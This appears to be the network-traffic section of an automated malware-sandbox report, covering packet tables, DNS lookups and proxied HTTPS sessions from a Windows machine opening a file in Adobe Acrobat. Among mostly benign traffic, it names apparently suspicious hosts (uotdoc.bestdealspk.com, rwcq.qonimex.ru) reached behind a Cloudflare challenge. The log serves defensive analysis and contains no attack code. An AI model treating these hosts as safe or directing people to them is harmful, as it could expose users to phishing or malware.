Nov 26, 2024 06:40:59.019725084 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.019804001 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.019819975 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.033468962 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.033538103 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.033554077 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.046134949 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.046190023 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.046205997 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.057791948 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.057894945 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.057913065 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.069678068 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.069838047 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.069853067 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.081386089 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.081525087 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.081540108 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.097796917 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.097944975 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.097959995 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.118237972 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.118320942 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.118335962 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.122359991 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.122421026 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.122442007 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.131097078 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.131158113 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.131171942 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.138874054 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.138931036 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.138945103 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.146739960 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.146801949 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.146815062 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.154262066 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.154323101 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.154336929 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.166250944 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.166306019 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.166322947 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.169270039 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.169331074 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.169346094 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.176814079 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.176876068 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.176892042 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.184387922 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.184456110 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.184472084 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.185729027 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.185790062 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.185919046 CET	49763	443	192.168.2.16	142.250.181.97
Nov 26, 2024 06:40:59.185951948 CET	443	49763	142.250.181.97	192.168.2.16
Nov 26, 2024 06:40:59.610338926 CET	443	49765	35.190.80.1	192.168.2.16
Nov 26, 2024 06:40:59.610677958 CET	49765	443	192.168.2.16	35.190.80.1
Nov 26, 2024 06:40:59.610744953 CET	443	49765	35.190.80.1	192.168.2.16
Nov 26, 2024 06:40:59.611078978 CET	443	49765	35.190.80.1	192.168.2.16
Nov 26, 2024 06:40:59.611363888 CET	49765	443	192.168.2.16	35.190.80.1
Nov 26, 2024 06:40:59.611443996 CET	443	49765	35.190.80.1	192.168.2.16
Nov 26, 2024 06:40:59.611505032 CET	49765	443	192.168.2.16	35.190.80.1
Nov 26, 2024 06:40:59.655375957 CET	443	49765	35.190.80.1	192.168.2.16
Nov 26, 2024 06:40:59.656989098 CET	49765	443	192.168.2.16	35.190.80.1
Nov 26, 2024 06:41:00.082401991 CET	443	49765	35.190.80.1	192.168.2.16
Nov 26, 2024 06:41:00.082487106 CET	443	49765	35.190.80.1	192.168.2.16
Nov 26, 2024 06:41:00.082545042 CET	49765	443	192.168.2.16	35.190.80.1
Nov 26, 2024 06:41:00.082740068 CET	49765	443	192.168.2.16	35.190.80.1
Nov 26, 2024 06:41:00.082756042 CET	443	49765	35.190.80.1	192.168.2.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 06:39:25.679920912 CET	55920	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:39:35.523756981 CET	53	58735	1.1.1.1	192.168.2.16
Nov 26, 2024 06:39:35.634113073 CET	53	54305	1.1.1.1	192.168.2.16
Nov 26, 2024 06:39:35.750555992 CET	53	53283	1.1.1.1	192.168.2.16
Nov 26, 2024 06:39:37.887351990 CET	52210	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:39:37.887486935 CET	55532	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:39:38.026359081 CET	53	55532	1.1.1.1	192.168.2.16
Nov 26, 2024 06:39:38.026721954 CET	53	52210	1.1.1.1	192.168.2.16
Nov 26, 2024 06:39:38.464608908 CET	53	60322	1.1.1.1	192.168.2.16
Nov 26, 2024 06:39:38.478272915 CET	53	53622	1.1.1.1	192.168.2.16
Nov 26, 2024 06:39:40.060878992 CET	61181	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:39:40.061141968 CET	51095	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:39:40.251807928 CET	53	51095	1.1.1.1	192.168.2.16
Nov 26, 2024 06:39:40.251823902 CET	53	61181	1.1.1.1	192.168.2.16
Nov 26, 2024 06:39:41.798110962 CET	63976	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:39:41.798239946 CET	60326	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:39:41.804682016 CET	59946	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:39:41.805084944 CET	50841	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:39:41.937546015 CET	53	63976	1.1.1.1	192.168.2.16
Nov 26, 2024 06:39:41.938545942 CET	53	60326	1.1.1.1	192.168.2.16
Nov 26, 2024 06:39:41.943830967 CET	53	50841	1.1.1.1	192.168.2.16
Nov 26, 2024 06:39:41.945861101 CET	53	59946	1.1.1.1	192.168.2.16
Nov 26, 2024 06:39:55.456098080 CET	53	49257	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:14.334404945 CET	53	59249	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:15.689815998 CET	138	138	192.168.2.16	192.168.2.255
Nov 26, 2024 06:40:35.455108881 CET	53	50691	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:36.636476040 CET	53	55439	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:42.998034000 CET	55788	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:40:42.998178005 CET	50579	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:40:43.137660980 CET	53	50579	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:43.137711048 CET	53	55788	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:45.179450989 CET	51582	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:40:45.179595947 CET	59189	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:40:45.190753937 CET	53692	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:40:45.191010952 CET	59638	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:40:45.318706989 CET	53	51582	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:45.320374966 CET	53	59189	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:45.617037058 CET	53	59638	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:45.617295027 CET	53	53692	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:49.599845886 CET	49177	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:40:49.599982023 CET	56871	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:40:49.738886118 CET	53	56871	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:49.739034891 CET	53	49177	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:51.841089010 CET	58900	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:40:51.841247082 CET	53700	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:40:51.854796886 CET	50037	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:40:51.854943991 CET	53123	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:40:51.980639935 CET	53	58900	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:51.980801105 CET	53	53700	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:51.993951082 CET	53	50037	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:52.004914045 CET	53	64830	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:52.206209898 CET	53	53123	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:55.620122910 CET	51188	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:40:55.620259047 CET	62091	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:40:55.759418964 CET	53	62091	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:55.759813070 CET	53	51188	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:56.427647114 CET	52220	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:40:56.427865028 CET	54640	53	192.168.2.16	1.1.1.1
Nov 26, 2024 06:40:56.567667961 CET	53	54640	1.1.1.1	192.168.2.16
Nov 26, 2024 06:40:56.570425987 CET	53	52220	1.1.1.1	192.168.2.16
Nov 26, 2024 06:41:05.306458950 CET	53	60453	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 26, 2024 06:39:35.734023094 CET	192.168.2.16	1.1.1.1	c23f	(Port unreachable)	Destination Unreachable
Nov 26, 2024 06:40:52.206306934 CET	192.168.2.16	1.1.1.1	c255	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 26, 2024 06:39:25.679920912 CET	192.168.2.16	1.1.1.1	0x8cc	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:39:37.887351990 CET	192.168.2.16	1.1.1.1	0x6b61	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:39:37.887486935 CET	192.168.2.16	1.1.1.1	0x34c2	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Nov 26, 2024 06:39:40.060878992 CET	192.168.2.16	1.1.1.1	0x6289	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:39:40.061141968 CET	192.168.2.16	1.1.1.1	0x8ae4	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 26, 2024 06:39:41.798110962 CET	192.168.2.16	1.1.1.1	0xc2c0	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:39:41.798239946 CET	192.168.2.16	1.1.1.1	0x7f91	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Nov 26, 2024 06:39:41.804682016 CET	192.168.2.16	1.1.1.1	0xe688	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:39:41.805084944 CET	192.168.2.16	1.1.1.1	0x8c8e	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Nov 26, 2024 06:40:42.998034000 CET	192.168.2.16	1.1.1.1	0xaf5b	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:42.998178005 CET	192.168.2.16	1.1.1.1	0xfd1c	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Nov 26, 2024 06:40:45.179450989 CET	192.168.2.16	1.1.1.1	0xc8b8	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:45.179595947 CET	192.168.2.16	1.1.1.1	0x1212	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Nov 26, 2024 06:40:45.190753937 CET	192.168.2.16	1.1.1.1	0x896c	Standard query (0)	rwcq.qonimex.ru	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:45.191010952 CET	192.168.2.16	1.1.1.1	0xd6f4	Standard query (0)	rwcq.qonimex.ru	65	IN (0x0001)	false
Nov 26, 2024 06:40:49.599845886 CET	192.168.2.16	1.1.1.1	0x905	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:49.599982023 CET	192.168.2.16	1.1.1.1	0x95c6	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Nov 26, 2024 06:40:51.841089010 CET	192.168.2.16	1.1.1.1	0xdb5e	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:51.841247082 CET	192.168.2.16	1.1.1.1	0x46f6	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Nov 26, 2024 06:40:51.854796886 CET	192.168.2.16	1.1.1.1	0x2ae3	Standard query (0)	blogger.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:51.854943991 CET	192.168.2.16	1.1.1.1	0xb1a5	Standard query (0)	blogger.googleusercontent.com	65	IN (0x0001)	false
Nov 26, 2024 06:40:55.620122910 CET	192.168.2.16	1.1.1.1	0xdaeb	Standard query (0)	blogger.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:55.620259047 CET	192.168.2.16	1.1.1.1	0xadcb	Standard query (0)	blogger.googleusercontent.com	65	IN (0x0001)	false
Nov 26, 2024 06:40:56.427647114 CET	192.168.2.16	1.1.1.1	0xbd3f	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:56.427865028 CET	192.168.2.16	1.1.1.1	0x5595	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 26, 2024 06:39:25.819745064 CET	1.1.1.1	192.168.2.16	0x8cc	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 06:39:38.026359081 CET	1.1.1.1	192.168.2.16	0x34c2	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Nov 26, 2024 06:39:38.026721954 CET	1.1.1.1	192.168.2.16	0x6b61	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:39:38.026721954 CET	1.1.1.1	192.168.2.16	0x6b61	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:39:40.251807928 CET	1.1.1.1	192.168.2.16	0x8ae4	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 26, 2024 06:39:40.251823902 CET	1.1.1.1	192.168.2.16	0x6289	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:39:41.937546015 CET	1.1.1.1	192.168.2.16	0xc2c0	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:39:41.937546015 CET	1.1.1.1	192.168.2.16	0xc2c0	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:39:41.938545942 CET	1.1.1.1	192.168.2.16	0x7f91	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Nov 26, 2024 06:39:41.943830967 CET	1.1.1.1	192.168.2.16	0x8c8e	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Nov 26, 2024 06:39:41.945861101 CET	1.1.1.1	192.168.2.16	0xe688	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:39:41.945861101 CET	1.1.1.1	192.168.2.16	0xe688	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:43.137660980 CET	1.1.1.1	192.168.2.16	0xfd1c	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Nov 26, 2024 06:40:43.137711048 CET	1.1.1.1	192.168.2.16	0xaf5b	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:43.137711048 CET	1.1.1.1	192.168.2.16	0xaf5b	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:45.318706989 CET	1.1.1.1	192.168.2.16	0xc8b8	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:45.318706989 CET	1.1.1.1	192.168.2.16	0xc8b8	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:45.320374966 CET	1.1.1.1	192.168.2.16	0x1212	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Nov 26, 2024 06:40:45.617037058 CET	1.1.1.1	192.168.2.16	0xd6f4	No error (0)	rwcq.qonimex.ru			65	IN (0x0001)	false
Nov 26, 2024 06:40:45.617295027 CET	1.1.1.1	192.168.2.16	0x896c	No error (0)	rwcq.qonimex.ru		104.21.72.174	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:45.617295027 CET	1.1.1.1	192.168.2.16	0x896c	No error (0)	rwcq.qonimex.ru		172.67.153.83	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:49.739034891 CET	1.1.1.1	192.168.2.16	0x905	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:49.739034891 CET	1.1.1.1	192.168.2.16	0x905	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:49.739034891 CET	1.1.1.1	192.168.2.16	0x905	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:49.739034891 CET	1.1.1.1	192.168.2.16	0x905	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:51.980639935 CET	1.1.1.1	192.168.2.16	0xdb5e	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:51.980639935 CET	1.1.1.1	192.168.2.16	0xdb5e	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:51.980639935 CET	1.1.1.1	192.168.2.16	0xdb5e	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:51.980639935 CET	1.1.1.1	192.168.2.16	0xdb5e	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:51.993951082 CET	1.1.1.1	192.168.2.16	0x2ae3	No error (0)	blogger.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 06:40:51.993951082 CET	1.1.1.1	192.168.2.16	0x2ae3	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.97	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:52.206209898 CET	1.1.1.1	192.168.2.16	0xb1a5	No error (0)	blogger.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 06:40:55.759418964 CET	1.1.1.1	192.168.2.16	0xadcb	No error (0)	blogger.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 06:40:55.759813070 CET	1.1.1.1	192.168.2.16	0xdaeb	No error (0)	blogger.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2024 06:40:55.759813070 CET	1.1.1.1	192.168.2.16	0xdaeb	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.97	A (IP address)	IN (0x0001)	false
Nov 26, 2024 06:40:56.570425987 CET	1.1.1.1	192.168.2.16	0xbd3f	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fs.microsoft.com

slscr.update.microsoft.com

armmf.adobe.com

uotdoc.bestdealspk.com

https:

challenges.cloudflare.com

rwcq.qonimex.ru

code.jquery.com

blogger.googleusercontent.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49707	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:39:19 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-26 05:39:19 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=247287 Date: Tue, 26 Nov 2024 05:39:19 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49713	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:39:21 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-26 05:39:21 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=247309 Date: Tue, 26 Nov 2024 05:39:21 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-26 05:39:21 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49715	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:39:22 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=CB9LVFyUkzz298c&MD=CatG+hex HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-26 05:39:22 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: faaf73b6-1ba7-4542-bca1-d362039a2de7 MS-RequestId: 2eebf0f2-9199-4ed0-9091-43cbae9ff986 MS-CV: m8rT8RzZKU6npHLv.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 26 Nov 2024 05:39:22 GMT Connection: close Content-Length: 24490
2024-11-26 05:39:22 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-26 05:39:22 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49716	23.47.168.24	443	3544	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:39:26 UTC	390	OUT	GET /onboarding/smskillreader.txt HTTP/1.1 Host: armmf.adobe.com Connection: keep-alive Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ReaderServices/23.6.20320 Chrome/105.0.0.0 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br
